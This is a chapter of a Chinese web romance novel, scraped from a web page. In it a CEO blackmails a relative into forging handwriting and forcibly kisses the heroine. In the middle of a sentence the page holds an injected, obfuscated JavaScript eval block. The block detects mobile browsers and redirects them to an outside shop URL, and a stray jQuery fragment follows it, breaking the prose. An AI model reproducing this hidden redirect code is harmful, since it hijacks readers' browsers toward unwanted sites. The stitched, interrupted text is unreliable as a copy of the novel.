69. 第 69 章
作品:《恶毒女配不好惹!》 刚开完会回到办公室的苍怀忍将领带扯开一点,这些天他连轴转,都没好好休息过。
他拿过办公桌上秘书泡好的茶喝了几口,随后倒在不远处沙发上闭目养神,准备半小时后再和海外合作商进行远程会议。
才眯了一会儿,手机电话铃声打断了他的休息,他伸手从茶几上捞过手机。
在看到屏幕上的显示的“尚今歌”三个字,全身的疲惫骤然驱散,只剩下惊喜。
他清了清嗓子,接着快速接通电话。
“今歌......”
“苍怀忍,你有什么大病?你脑子被驴踢了吗?你为什么要做这种事?”
嘴角荡漾的笑意在尚今歌一连串的质问里变得僵硬,很快,他猜到尚今歌是为了什么。
“我在帮你铲除隐患,雨珊是最好的诱饵。”苍怀忍并不认为自己的做法有错,反而觉得是最佳计划。
“滚你的,你拿你堂妹的清白名声被毁的风险来帮我,真的是帮我吗?”
苍怀忍不解:“为什么不是?我知道你哥哥一家对你虎视眈眈,长此以往对你会有威胁,我不想让这样的事发生。”
“那你有没有想过雨珊?”
“我不会让她有事,我自有分寸。”苍怀忍揉了揉因为多日未睡好而酸胀的眉心,低声安抚处于情绪爆炸中的尚今歌。
“你不可理喻!”尚今歌对于他的自负感到深深的烦躁,在她的记忆中,他那么疼爱小堂妹,怎么会当成工具利用?
“之前你可以借助雨珊教训尚今唱,为什么现在不继续借助她直接整死尚今唱?”苍怀忍满怀不解,如此好的机会尚今歌为什么不利用?
尚今歌忽然发现他们之间竟有着一条天堑似的鸿沟,她压下翻涌的怒火沉声和他解释。
“我当初是利用了雨珊,但我是在基于不会对她造成任何伤害的前提下才行动,那枚发夹她的父母发现不会声张,她的名誉不会受损。而眼下你想清扫尚今唱,是奔着让他陷入牢狱之灾,那么苍雨珊必定会扯上被性骚扰、被侵犯之类的词汇。”
“你想过没有,这些词汇对于一个少女的身心会造成多大的伤害?”
尚今歌一股脑将心中的担忧全部倒出来,她当初经受那么多污言秽语的网暴仍能无动于衷是因为她死过一次心态发生转变,还有遭遇过经纪人和唱片公司以及最亲近的家人的背刺背叛。
与他们相比,这些不相识的网友的言语攻击对她来说完全不值得浪费精力。
可苍雨珊才十七岁,正是天真烂漫的时候,从小当成掌上明珠养育,哪里能经受得住这些攻击?
苍怀忍喉头一哽,很快这种不适被他扼制,他轻声问道:“那你呢?”
“我?”尚今歌感觉自己一下子跟不上苍怀忍的思维。
“你当初面对铺天盖地的诽谤、污蔑、造谣、诅咒这些危险时,怎么就觉得自己可以承受?”
苍怀忍懊悔万分,当时的自己害怕失去弘业集团继承人的资格,对于她遭遇的一切袖手旁观。
直到她险些死去,他才终于意识到她竟在他的心里扎下了根,他一直奋斗的目标——弘业集团主人,在她的安危面前什么都不是。
苍怀忍抚了一下脖子处结痂的伤口,幸好,他终于做对了一次。
尚今歌没料到他会问到自己身上,不由得愣了一下,没一会儿她便给出回答:“我历尽千帆,这些于我不过是扰人的苍蝇和蚊子。”
最主要的是,她从没将自己放在弱者的位置上。
刚穿书时,面对身份尊贵、气场势力都强大的苍怀忍,她会害怕,但从没想过屈服。
她坚信,任何的苦难,她都能跨过。
“你自己真的可以?”苍怀忍清楚自己不能再去强迫她接受自己的帮助,却还是担忧。
尚今歌知道他被说服,也明白他在担心自己,便软下态度:“遇到解决不了的,不是还有你吗?这次就让我自己解决。”
她又不是傻子,自己能解决的就自己解决,解决不了就去寻求帮助,她可不会钻牛角尖。
“好,我等你的好消息。”苍怀忍知道自己左右不了尚今歌的决定,只能妥协。
尚今歌见他让步,烦躁的心情顿时好了不少,忍不住像对待卫免和叶守诚他俩一样夸了一句:“真乖。”
话出口她就后悔了,苍怀忍总是严肃冷厉的样子,和“乖”这个字根本搭不上边。
“我的意思是没问题。”她想打岔混弄过去,但苍怀忍出乎意料地接受了,还另外索要奖励。
“在你这,乖的话有什么奖励?”
苍怀忍什么都不缺,金钱地位早已拥有,尚今歌思来想去,实在不清楚自己能给他什么,索性直接问他:“你想要什么?”
“想抱你。”
尚今歌呼吸一滞,下一瞬,全身的血液冲到头顶,苍怀忍短短三个字就将她的欲望轻而易举地挑起。
她打开书房的窗户,迎着吹来的夏风不停地用手在发热发烫的脸颊旁扇风,想赶走这股由苍怀忍牵引出的燥热。
“晚上我去接你。”苍怀忍等了一会儿,没听到她的拒绝,于是擅自定下约定。
“喂!我没同意啊!”尚今歌刚想拒绝,电话已经挂断,完全不给她拒绝的机会。
可恶的苍怀忍!为什么不听人把话说完!
尚今歌懊恼地踢了一脚墙壁,钻心的疼立刻从脚尖传来,痛得她像只猴子在原地单脚跳。
借着窗口的微风,尚今歌脸颊滚烫的热度消散不少,她打开手机前置摄像头确认脸颊不再泛红这才下了楼。
不习惯穿正装的乔又莲一会儿扯扯衣领一会儿扯扯工牌,她小心翼翼地跟在西装笔挺的中年秘书身后进入总裁办公室。
一进门便看到不苟言笑的苍怀忍破天荒地对着掌心黑屏的手机笑得十分......温柔?
真是怪事年年有,她在苍怀忍的豪宅死皮赖脸住了两个月都没见他笑过一次,还以为他根本不会笑。
“总裁,乔女士带来了。”秘书将乔又莲领到苍怀忍面前,垂首报告完便退了出去。
“侄女婿,哦不,苍总裁。”乔又莲习惯性想攀关系,忽然想到尚今歌和他已经离了婚,立马改口。
以前听乔又莲喊他侄女婿,他只觉得恶心聒噪,现在再听到,反而觉得这个称呼格外好听。
尚今歌是她丈夫的侄女,也是她的侄女,自己是侄女婿,意味着自己和尚今歌紧紧地绑在一起。
“坐。”苍怀忍指着对面的沙发让乔又莲落座,同时又补充一句,“没旁人时就喊我侄女婿。”
“诶......嗯?”乔又莲下意识边点头边在沙发上坐下,对苍怀忍的那句话后知后觉的她猛地抬头看向他,对上他深井般难以探查的眼眸时又恐慌地低下头。
这小子到底啥情况?怎么突然同意自己喊他侄女婿了?以前这么喊他,他眼睛一眯的样子感觉要把人刀了。
乔又莲脑子里乱糟糟的,她感觉自己的思绪成了一团杂乱的毛线,她根本找不到毛线头在哪。
想不通的她决定还是不想了,自己还是老实地听苍怀忍安排吧,谁让他手里有她偷梁换柱和盗窃的证据呢。
乔又莲如坐针毡,对面的苍怀忍一直不说话,她抬头偷瞄一眼,发现他一直盯着自己,好像在等什么,她脑子一转试探地喊了一声:“侄女婿?”
“嗯。”苍怀忍冷淡地应了一声,随后起身从办公桌上抽出一份文件扔到乔又莲面前,“将这些字迹模仿到惟妙惟肖。”
乔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099990|190115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又莲震惊得一句话说不出来,她总觉得模仿字迹这件事要和违法犯罪扯上关系啊,她可不想蹲大牢啊!
“侄女婿,我不会这个.......”
“我宅子一楼的金子制品和金子艺术品还有......”苍怀忍话还没说完,乔又莲立马换了一副面孔。
见自己之前干的事被拿出来威胁,乔又莲赶紧信誓旦旦地保证:“侄女婿,我一定模仿得本人和专家都分不出来!”
和苍怀忍通完电话后的两小时,天色彻底暗了下来,徐念真因为有培训班要去,于一个小时前离开工作室,薄锦喻则沉浸在录音棚的控制里工作。
尚今歌握着手机,在大厅里踱来踱去,她几次想要打电话让苍怀忍取消今晚的见面计划,可内心却对和他的见面隐隐有些期待。
可一想到卫免和叶守诚相继发来消息说已经在来接她回家的路上,她就一个头两个大。
卫免和叶守诚两个人已经闹得她天翻地覆,要是让苍怀忍和他俩碰面,那岂不是火星撞地球,完全是毁灭性灾难。
她该怎么办?
尚今歌着急地不知道该怎么面对。
头一回,她觉得被这么多人喜欢是件头疼的事。
思来想去一番,她还是觉得取消和苍怀忍的见面计划,毕竟她没有同意,是苍怀忍擅自决定的。
有了这个充分的理由,她立即找到苍怀忍的电话拨了过去。
“等急了?两分钟,马上到。”电话刚接通,苍怀忍低沉的嗓音便传了过来。
尚今歌的心跳微不可查地快了几分,下一秒,她猛然意识到什么,不由得拔高声音:“什......什么?你现在在哪?”
她还抱有苍怀忍在逗她的期待中,但苍怀忍的回答将她的怀疑打破。
“在电梯里。”
尚今歌跑到工作室门口,盯着电子猫眼显示屏。
保持通话的听筒里传来电梯门开门的提示音,没一会儿猫眼显示屏里出现苍怀忍高大的身影,他正单手将手机贴在耳边一步一步朝着她所在的门口走来。
随着智能锁解锁的提示音,大门被打开了。
尚今歌下意识后退两步,走进门的苍怀忍关上门又将手机收起,接着长腿一迈,霸道地将尚今歌圈进他的怀中。
“我发的消息你没看?”尚今歌发了好几条让他别来的微信,他都没回,以为他工作忙,这才打电话。
现在看来,他是故意装作没看到。
“看到和想看到是两回事。”苍怀忍一手箍住她的腰一手捏起她的下巴,温热的气息伴随木质香水微苦的味道强势地喷洒咋尚今歌的鼻间、脸颊、耳畔最后又回到鼻间。
“我可没有同意见......唔......”尚今歌脑袋后仰,想避开苍怀忍越来越近的脸,可是捏住她下巴的手不知何时已经掌在她的脑后。
苍怀忍的吻像是一场发疯似的掠夺与侵占,仿佛要将所触及到一切全都霸占标记成他的领地。
原本还能与他打得有来有回的尚今歌最终被攻击得溃不成军,若不是那只托住她腰身的手臂坚硬牢固,她恐怕早就因为双腿发软而滑坐到地上。
“我知道你想见我。”趁着换气间隙,苍怀忍轻咬一口尚今歌的唇瓣,轻声吐气。
尚今歌不甘示弱地咬了回去,她死不承认地回道:“我才没......”
“嘴硬心软的女人。”苍怀忍低笑一声,接着不给她扎心破坏气氛的机会,势如破竹地封住她微张的嘴巴。
尚今歌剩下的话全都在他的攻击下成了支离破碎的低鸣与婉转的吟唱。
控制室里的薄锦喻刚编曲好一部分准备去大厅的水吧台那里弄点饮料解解渴,他拉开录音棚的门,一阵悦耳的女声吸引了他的注意。

